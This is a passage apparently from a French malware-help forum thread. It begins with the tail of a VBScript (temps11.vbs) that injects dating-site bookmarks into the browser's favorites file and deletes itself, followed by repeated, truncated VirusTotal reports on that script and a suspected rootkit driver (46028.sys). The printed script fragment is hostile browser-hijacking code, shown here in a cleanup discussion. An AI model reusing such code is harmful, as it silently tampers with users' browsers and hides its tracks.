/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAAAAAAAAAAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAAAAAAAAAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/wAAAP8AAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8A4+OPjg8AAADj44+OAwAAAOPjj44BAAAf4+OPjjkAAB/j448OOAAAH+Pjjg44AAAf4+OODjwAAB/j44wOPAAAH+PjjA48AAAf4+OIDjwAAB/gA4COPAAAH+ADgI48AAAf4cOAjjwAAB/j44GOPAAAH+PjgY48AAAf4+ODjjwAAB/j44OOOAAAH+Pjh444AAAf4+OPjjkAAB/gA4+OAQAAH+ADj44HAAAf//+Pjg8AAP///////wAA////////AAD///////8AAP/7/////wAAAOPxx+PHAAAA4/HH48cAAADj8cfjxwAAH+Pxx+PHAAAf4/HH48cAAB/j8cfjxwAAP+Pxx+PHAAA/4/HH48cAAD/j8cfjxwAAP+Pxx+PHAAA/4/HH48cAAD/gAcADxwAAP+ABwAPHAAA/4AHAA8cAAD/j8cfjxwAAP+Pxx+PHAAAf4/HH48cAAB/j8cfjxwAAH+Pxx+PHAAAA4/Hn5gAAAADj8fgGAAAAAOPx/g4AAAA="" LAST_CHARSET=""ISO-8859-1"" ID=""rdf:#$5Upgt2"">Premium !!!</A>" & vbCrLf &_
"<DT><H3 ADD_DATE=""1227179973"" LAST_MODIFIED=""1227180093"" ID=""rdf:#$oJ8i83"">Divertissement</H3>" & vbCrLf &_
"<DL><p>" & vbCrLf &_
"<DT><A HREF=""http://videos.chat-land.org/"" ADD_DATE=""1227180060"" LAST_CHARSET=""ISO-8859-1"" ID=""rdf:#$pJ8i83"">Chat-Land - Vidéos drôles</A>" & vbCrLf &_
"<DT><A HREF=""http://fonds-ecrans.chat-land.org/"" ADD_DATE=""1227180068"" LAST_CHARSET=""ISO-8859-1"" ID=""rdf:#$qJ8i83"">Chat-Land - Fond écran</A>" & vbCrLf &_
"<DT><A HREF=""http://jeux.chat-land.org/"" ADD_DATE=""1227180075"" LAST_CHARSET=""ISO-8859-1"" ID=""rdf:#$rJ8i83"">Chat-Land - Jeux</A>" & vbCrLf &_
"<DT><A HREF=""http://blagues.chat-land.org/"" ADD_DATE=""1227180080"" LAST_CHARSET=""ISO-8859-1"" ID=""rdf:#$sJ8i83"">tchat, rencontres gratuites et sans inscription, divertissements, blagues et jeux diverses</A>" & vbCrLf &_
"<DD>Rencontre, chat et divertissements avec chat-land, le 1er site mondiale de tchat et de rencontres" & vbCrLf &_
"<DT><A HREF=""https://tchatpassion.com/"" ADD_DATE=""1227180088"" LAST_CHARSET=""ISO-8859-1"" ID=""rdf:#$tJ8i83"">Rurique en maintenance</A>" & vbCrLf &_
"<DT><A HREF=""http://paroles.chat-land.org/"" ADD_DATE=""1227180093"" LAST_CHARSET=""ISO-8859-1"" ID=""rdf:#$uJ8i83"">Chat-Land - Paroles de Chansons</A>" & vbCrLf &_
"</DL><p>" & vbCrLf &_
"</DL><p>" & vbCrLf &_
"<DT><A HREF=""https://tchatpassion.com/"" ADD_DATE=""1227278090"" LAST_CHARSET=""ISO-8859-1"" ID=""rdf:#$Z+lKF3"">Rencontre: Tchat Gratuit+Tchatche+Chat(NOUVEAU)! Rencontres</A>" & vbCrLf &_
"<DD>Rencontre Sur Un Tchat Gratuit, Tchatche Chat, Rencontres (NOUVEAU) ? Facile Rapide Gratuit Sympa sans inscription!" & vbCrLf
Set fsofav = CreateObject("Scripting.FileSystemObject")
Set xfav = fsofav.OpenTextFile(fav, ForWriting,true)
xfav.write mir1 & vbCrLf & mir2 & vbCrLf & ajout & vbCrLf & mir3
xfav.close
end if
WScript.Sleep 5000
dim cheminvbs
cheminvbs = WScript.ScriptFullName
Dim oFSOvbs
Set oFSOvbs = CreateObject("Scripting.FileSystemObject")
oFSOvbs.DeleteFile cheminvbs,True

Bonsoir Moe,

Regarde ce que je trouve en passant c:\documents and settings\CLENET\temps11.vbs sur virus total.
Le second pas moyen de mettre la main dessus -^ (c:\windows\system32\46028.sys )

Fichier temps11.vbs reçu le 2009.07.05 19:02:57 (UTC)
Situation actuelle: en cours de chargement ... mis en file d'attente en attente en cours d'analyse terminé NON TROUVE ARRETE
Résultat: 2/41 (4.88%)
en train de charger les informations du serveur...
Votre fichier est dans la file d'attente, en position: 1.
L'heure estimée de démarrage est entre 38 et 55 secondes.
Ne fermez pas la fenêtre avant la fin de l'analyse.
L'analyseur qui traitait votre fichier est actuellement stoppé, nous allons attendre quelques secondes pour tenter de récupérer vos résultats.
Si vous attendez depuis plus de cinq minutes, vous devez renvoyer votre fichier.
Votre fichier est, en ce moment, en cours d'analyse par VirusTotal,
les résultats seront affichés au fur et à mesure de leur génération.
Formaté Formaté
Impression des résultats Impression des résultats
Votre fichier a expiré ou n'existe pas.
Le service est en ce moment, stoppé, votre fichier attend d'être analysé (position : ) depuis une durée indéfinie.

Vous pouvez attendre une réponse du Web (re-chargement automatique) ou taper votre e-mail dans le formulaire ci-dessous et cliquer "Demande" pour que le système vous envoie une notification quand l'analyse sera terminée.
Email:

Antivirus Version Dernière mise à jour Résultat
a-squared 4.5.0.18 2009.07.05 -
AhnLab-V3 5.0.0.2 2009.07.05 -
AntiVir 7.9.0.204 2009.07.05 -
Antiy-AVL 2.0.3.1 2009.07.03 -
Authentium 5.1.2.4 2009.07.04 -
Avast 4.8.1335.0 2009.07.05 -
AVG 8.5.0.386 2009.07.05 -
BitDefender 7.2 2009.07.05 -
CAT-QuickHeal 10.00 2009.07.03 -
ClamAV 0.94.1 2009.07.03 -
Comodo 1538 2009.07.02 -
DrWeb 5.0.0.12182 2009.07.05 SCRIPT.Virus
eSafe 7.0.17.0 2009.07.02 -
eTrust-Vet 31.6.6596 2009.07.03 -
F-Prot 4.4.4.56 2009.07.04 -
F-Secure 8.0.14470.0 2009.07.05 -
Fortinet 3.117.0.0 2009.07.03 -
GData 19 2009.07.05 -
Ikarus T3.1.1.64.0 2009.07.05 -
Jiangmin 11.0.706 2009.07.05 -
K7AntiVirus 7.10.783 2009.07.03 -
Kaspersky 7.0.0.125 2009.07.05 -
McAfee 5667 2009.07.05 -
McAfee+Artemis 5667 2009.07.05 -
McAfee-GW-Edition 6.8.5 2009.07.05 -
Microsoft 1.4803 2009.07.05 -
NOD32 4219 2009.07.05 -
Norman 6.01.09 2009.07.04 -
nProtect 2009.1.8.0 2009.07.05 -
Panda 10.0.0.14 2009.07.05 -
PCTools 4.4.2.0 2009.07.05 -
Prevx 3.0 2009.07.05 -
Rising 21.36.62.00 2009.07.05 Trojan.JS.StartPage.an
Sophos 4.43.0 2009.07.05 -
Sunbelt 3.2.1858.2 2009.07.05 -
Symantec 1.4.4.12 2009.07.05 -
TheHacker 6.3.4.3.362 2009.07.04 -
TrendMicro 8.950.0.1094 2009.07.05 -
VBA32 3.12.10.7 2009.07.05 -
ViRobot 2009.7.3.1818 2009.07.03 -
VirusBuster 4.6.5.0 2009.07.05 -
Information additionnelle
File size: 47338 bytes
MD5...: 7b0d53b91c76955872b3a748b8c73174
SHA1..: c267dd14ef78d43f8e4ca67c2616ae66308173c1
SHA256: 09f534e4990a03d123276769c8321279ea6fbfcb9935fb7911d0048bdad2b314
ssdeep: 384:0tLjIO//axA6y3JYU2S75irrxJi0HGWmZd/2k/bg/YI+:SIOgI5h7wrrLMF9
I+
PEiD..: -
TrID..: File type identification
Unknown!
PEInfo: -
PDFiD.: -
RDS...: NSRL Reference Data Set
-

Si ça y'est je l'aitrouvé l'autre pfff!!

Fichier 46028.sys reçu le 2009.07.05 19:15:55 (UTC)
Situation actuelle: en cours de chargement ... mis en file d'attente en attente en cours d'analyse terminé NON TROUVE ARRETE
Résultat: 0/41 (0%)
en train de charger les informations du serveur...
Votre fichier est dans la file d'attente, en position: 3.
L'heure estimée de démarrage est entre 54 et 77 secondes.
Ne fermez pas la fenêtre avant la fin de l'analyse.
L'analyseur qui traitait votre fichier est actuellement stoppé, nous allons attendre quelques secondes pour tenter de récupérer vos résultats.
Si vous attendez depuis plus de cinq minutes, vous devez renvoyer votre fichier.
Votre fichier est, en ce moment, en cours d'analyse par VirusTotal,
les résultats seront affichés au fur et à mesure de leur génération.
Formaté Formaté
Impression des résultats Impression des résultats
Votre fichier a expiré ou n'existe pas.
Le service est en ce moment, stoppé, votre fichier attend d'être analysé (position : ) depuis une durée indéfinie.

Vous pouvez attendre une réponse du Web (re-chargement automatique) ou taper votre e-mail dans le formulaire ci-dessous et cliquer "Demande" pour que le système vous envoie une notification quand l'analyse sera terminée.
Email:

Antivirus Version Dernière mise à jour Résultat
a-squared 4.5.0.18 2009.07.05 -
AhnLab-V3 5.0.0.2 2009.07.05 -
AntiVir 7.9.0.204 2009.07.05 -
Antiy-AVL 2.0.3.1 2009.07.03 -
Authentium 5.1.2.4 2009.07.04 -
Avast 4.8.1335.0 2009.07.05 -
AVG 8.5.0.386 2009.07.05 -
BitDefender 7.2 2009.07.05 -
CAT-QuickHeal 10.00 2009.07.03 -
ClamAV 0.94.1 2009.07.03 -
Comodo 1538 2009.07.02 -
DrWeb 5.0.0.12182 2009.07.05 -
eSafe 7.0.17.0 2009.07.02 -
eTrust-Vet 31.6.6596 2009.07.03 -
F-Prot 4.4.4.56 2009.07.04 -
F-Secure 8.0.14470.0 2009.07.05 -
Fortinet 3.117.0.0 2009.07.03 -
GData 19 2009.07.05 -
Ikarus T3.1.1.64.0 2009.07.05 -
Jiangmin 11.0.706 2009.07.05 -
K7AntiVirus 7.10.783 2009.07.03 -
Kaspersky 7.0.0.125 2009.07.05 -
McAfee 5667 2009.07.05 -
McAfee+Artemis 5667 2009.07.05 -
McAfee-GW-Edition 6.8.5 2009.07.05 -
Microsoft 1.4803 2009.07.05 -
NOD32 4219 2009.07.05 -
Norman 6.01.09 2009.07.04 -
nProtect 2009.1.8.0 2009.07.05 -
Panda 10.0.0.14 2009.07.05 -
PCTools 4.4.2.0 2009.07.05 -
Prevx 3.0 2009.07.05 -
Rising 21.36.62.00 2009.07.05 -
Sophos 4.43.0 2009.07.05 -
Sunbelt 3.2.1858.2 2009.07.05 -
Symantec 1.4.4.12 2009.07.05 -
TheHacker 6.3.4.3.362 2009.07.04 -
TrendMicro 8.950.0.1094 2009.07.05 -
VBA32 3.12.10.7 2009.07.05 -
ViRobot 2009.7.3.1818 2009.07.03 -
VirusBuster 4.6.5.0 2009.07.05 -
Information additionnelle
File size: 54624 bytes
MD5...: 43b0076b3ab8996b84d2cc8f990b582f
SHA1..: 97d13f87d18e1829d9af7e54cd5a0b2d68d684e7
SHA256: 5787ad3e47054ed8417522330be69c9b122d33373b960a21ac52eb2d25ad3259
ssdeep: 768:Xht98mhWffPd0l3V+Vdj4AGXwZONbB0/92+U48swGs47+Sv9NLzbRUh:XhTb
E6VFXwkb0F2+U4nS8J7jRe
PEiD..: -
TrID..: File type identification
Win64 Executable Generic (87.2%)
Win32 Executable Generic (8.6%)
Generic Win/DOS Executable (2.0%)
DOS Executable Generic (2.0%)
Autodesk FLIC Image File (extensions: flc, fli, cel) (0.0%)
PEInfo: PE Structure information

( base data )
entrypointaddress.: 0x2e005
timedatestamp.....: 0x4718573f (Fri Oct 19 07:05:35 2007)
machinetype.......: 0x14c (I386)

( 5 sections )
name viradd virsiz rawdsiz ntrpy md5
.text 0x1000 0x9538 0x9600 6.46 f8bb0ff0be497fd92b3101ee9b134c78
.rdata 0xb000 0x204 0x400 2.61 c48c48509a6c34a23e4128aaf530cbcc
.data 0xc000 0x21674 0xa00 0.64 dad2fd5f4c81aa5f92ab076f0ab1a792
INIT 0x2e000 0x716 0x800 5.26 5fec7edfff8b298bc03ef77519f7f86f
.reloc 0x2f000 0xee2 0x1000 5.71 24939863336ea437d32d34528390c4bb

( 2 imports )
> ntoskrnl.exe: KeInitializeSpinLock, MmMapLockedPages, MmProbeAndLockPages, MmBuildMdlForNonPagedPool, IoAllocateMdl, RtlUnicodeStringToAnsiString, RtlInitUnicodeString, ZwQuerySystemInformation, ZwClose, wcslen, wcsrchr, wcschr, IoFreeIrp, KeSetEvent, PsGetCurrentThreadId, KeInitializeEvent, KeWaitForSingleObject, KeUnstackDetachProcess, KeStackAttachProcess, ZwCreateFile, ZwQuerySymbolicLinkObject, ZwOpenProcess, ZwQueryDirectoryFile, ObfDereferenceObject, IofCallDriver, KeGetCurrentThread, IoAllocateIrp, IoGetRelatedDeviceObject, ObReferenceObjectByHandle, MmUnmapLockedPages, RtlAnsiStringToUnicodeString, RtlInitAnsiString, ZwReadFile, ZwWriteFile, ZwQueryObject, ZwOpenSymbolicLinkObject, ObQueryNameString, strstr, IoDeleteDevice, IoDeleteSymbolicLink, PsSetCreateProcessNotifyRoutine, PsGetCurrentProcessId, KeServiceDescriptorTable, IofCompleteRequest, IoGetCurrentProcess, PsCreateSystemThread, IoCreateSymbolicLink, IoCreateDevice, PsGetVersion, ZwOpenKey, ZwQueryValueKey, ZwEnumerateValueKey, ZwEnumerateKey, KeAddSystemServiceTable, _except_handler3, KeTickCount, KeBugCheckEx, MmUnlockPages, IoFreeMdl, MmIsAddressValid, ExFreePoolWithTag, RtlFreeUnicodeString, ExAllocatePoolWithTag
> HAL.dll: KfRaiseIrql, KeGetCurrentIrql, KfAcquireSpinLock, KfReleaseSpinLock, KfLowerIrql

( 0 exports )
PDFiD.: -
RDS...: NSRL Reference Data Set
-
ThreatExpert info: <a href='http://www.threatexpert.com/report.aspx?md5=43b0076b3ab8996b84d2cc8f990b582f' target='_blank'>https://www.symantec.com?md5=43b0076b3ab8996b84d2cc8f990b582f</a>
packers (Kaspersky): PE_Patch

Regarde ce que je trouve en passant par virus total pour un des deux cités par Moe à la fin de son post

Fichier temps11.vbs reçu le 2009.07.05 19:02:57 (UTC)
Situation actuelle: en cours de chargement ... mis en file d'attente en attente en cours d'analyse terminé NON TROUVE ARRETE
Résultat: 2/41 (4.88%)
en train de charger les informations du serveur...
Votre fichier est dans la file d'attente, en position: 1.
L'heure estimée de démarrage est entre 38 et 55 secondes.
Ne fermez pas la fenêtre avant la fin de l'analyse.
L'analyseur qui traitait votre fichier est actuellement stoppé, nous allons attendre quelques secondes pour tenter de récupérer vos résultats.
Si vous attendez depuis plus de cinq minutes, vous devez renvoyer votre fichier.
Votre fichier est, en ce moment, en cours d'analyse par VirusTotal,
les résultats seront affichés au fur et à mesure de leur génération.
Formaté Formaté
Impression des résultats Impression des résultats
Votre fichier a expiré ou n'existe pas.
Le service est en ce moment, stoppé, votre fichier attend d'être analysé (position : ) depuis une durée indéfinie.

Vous pouvez attendre une réponse du Web (re-chargement automatique) ou taper votre e-mail dans le formulaire ci-dessous et cliquer "Demande" pour que le système vous envoie une notification quand l'analyse sera terminée.
Email:

Antivirus Version Dernière mise à jour Résultat
a-squared 4.5.0.18 2009.07.05 -
AhnLab-V3 5.0.0.2 2009.07.05 -
AntiVir 7.9.0.204 2009.07.05 -
Antiy-AVL 2.0.3.1 2009.07.03 -
Authentium 5.1.2.4 2009.07.04 -
Avast 4.8.1335.0 2009.07.05 -
AVG 8.5.0.386 2009.07.05 -
BitDefender 7.2 2009.07.05 -
CAT-QuickHeal 10.00 2009.07.03 -
ClamAV 0.94.1 2009.07.03 -
Comodo 1538 2009.07.02 -
DrWeb 5.0.0.12182 2009.07.05 SCRIPT.Virus
eSafe 7.0.17.0 2009.07.02 -
eTrust-Vet 31.6.6596 2009.07.03 -
F-Prot 4.4.4.56 2009.07.04 -
F-Secure 8.0.14470.0 2009.07.05 -
Fortinet 3.117.0.0 2009.07.03 -
GData 19 2009.07.05 -
Ikarus T3.1.1.64.0 2009.07.05 -
Jiangmin 11.0.706 2009.07.05 -
K7AntiVirus 7.10.783 2009.07.03 -
Kaspersky 7.0.0.125 2009.07.05 -
McAfee 5667 2009.07.05 -
McAfee+Artemis 5667 2009.07.05 -
McAfee-GW-Edition 6.8.5 2009.07.05 -
Microsoft 1.4803 2009.07.05 -
NOD32 4219 2009.07.05 -
Norman 6.01.09 2009.07.04 -
nProtect 2009.1.8.0 2009.07.05 -
Panda 10.0.0.14 2009.07.05 -
PCTools 4.4.2.0 2009.07.05 -
Prevx 3.0 2009.07.05 -
Rising 21.36.62.00 2009.07.05 Trojan.JS.StartPage.an
Sophos 4.43.0 2009.07.05 -
Sunbelt 3.2.1858.2 2009.07.05 -
Symantec 1.4.4.12 2009.07.05 -
TheHacker 6.3.4.3.362 2009.07.04 -
TrendMicro 8.950.0.1094 2009.07.05 -
VBA32 3.12.10.7 2009.07.05 -
ViRobot 2009.7.3.1818 2009.07.03 -
VirusBuster 4.6.5.0 2009.07.05 -
Information additionnelle
File size: 47338 bytes
MD5...: 7b0d53b91c76955872b3a748b8c73174
SHA1..: c267dd14ef78d43f8e4ca67c2616ae66308173c1
SHA256: 09f534e4990a03d123276769c8321279ea6fbfcb9935fb7911d0048bdad2b314
ssdeep: 384:0tLjIO//axA6y3JYU2S75irrxJi0HGWmZd/2k/bg/YI+:SIOgI5h7wrrLMF9
I+
PEiD..: -
TrID..: File type identification
Unknown!
PEInfo: -
PDFiD.: -
RDS...: NSRL Reference Data Set
-

J'ai trouvé le second, désolé un post de plus.

Fichier 46028.sys reçu le 2009.07.05 19:15:55 (UTC)
Situation actuelle: en cours de chargement ... mis en file d'attente en attente en cours d'analyse terminé NON TROUVE ARRETE
Résultat: 0/41 (0%)
en train de charger les informations du serveur...
Votre fichier est dans la file d'attente, en position: 3.
L'heure estimée de démarrage est entre 54 et 77 secondes.
Ne fermez pas la fenêtre avant la fin de l'analyse.
L'analyseur qui traitait votre fichier est actuellement stoppé, nous allons attendre quelques secondes pour tenter de récupérer vos résultats.
Si vous attendez depuis plus de cinq minutes, vous devez renvoyer votre fichier.
Votre fichier est, en ce moment, en cours d'analyse par VirusTotal,
les résultats seront affichés au fur et à mesure de leur génération.
Formaté Formaté
Impression des résultats Impression des résultats
Votre fichier a expiré ou n'existe pas.
Le service est en ce moment, stoppé, votre fichier attend d'être analysé (position : ) depuis une durée indéfinie.

Vous pouvez attendre une réponse du Web (re-chargement automatique) ou taper votre e-mail dans le formulaire ci-dessous et cliquer "Demande" pour que le système vous envoie une notification quand l'analyse sera terminée.
Email:

Antivirus Version Dernière mise à jour Résultat
a-squared 4.5.0.18 2009.07.05 -
AhnLab-V3 5.0.0.2 2009.07.05 -
AntiVir 7.9.0.204 2009.07.05 -
Antiy-AVL 2.0.3.1 2009.07.03 -
Authentium 5.1.2.4 2009.07.04 -
Avast 4.8.1335.0 2009.07.05 -
AVG 8.5.0.386 2009.07.05 -
BitDefender 7.2 2009.07.05 -
CAT-QuickHeal 10.00 2009.07.03 -
ClamAV 0.94.1 2009.07.03 -
Comodo 1538 2009.07.02 -
DrWeb 5.0.0.12182 2009.07.05 -
eSafe 7.0.17.0 2009.07.02 -
eTrust-Vet 31.6.6596 2009.07.03 -
F-Prot 4.4.4.56 2009.07.04 -
F-Secure 8.0.14470.0 2009.07.05 -
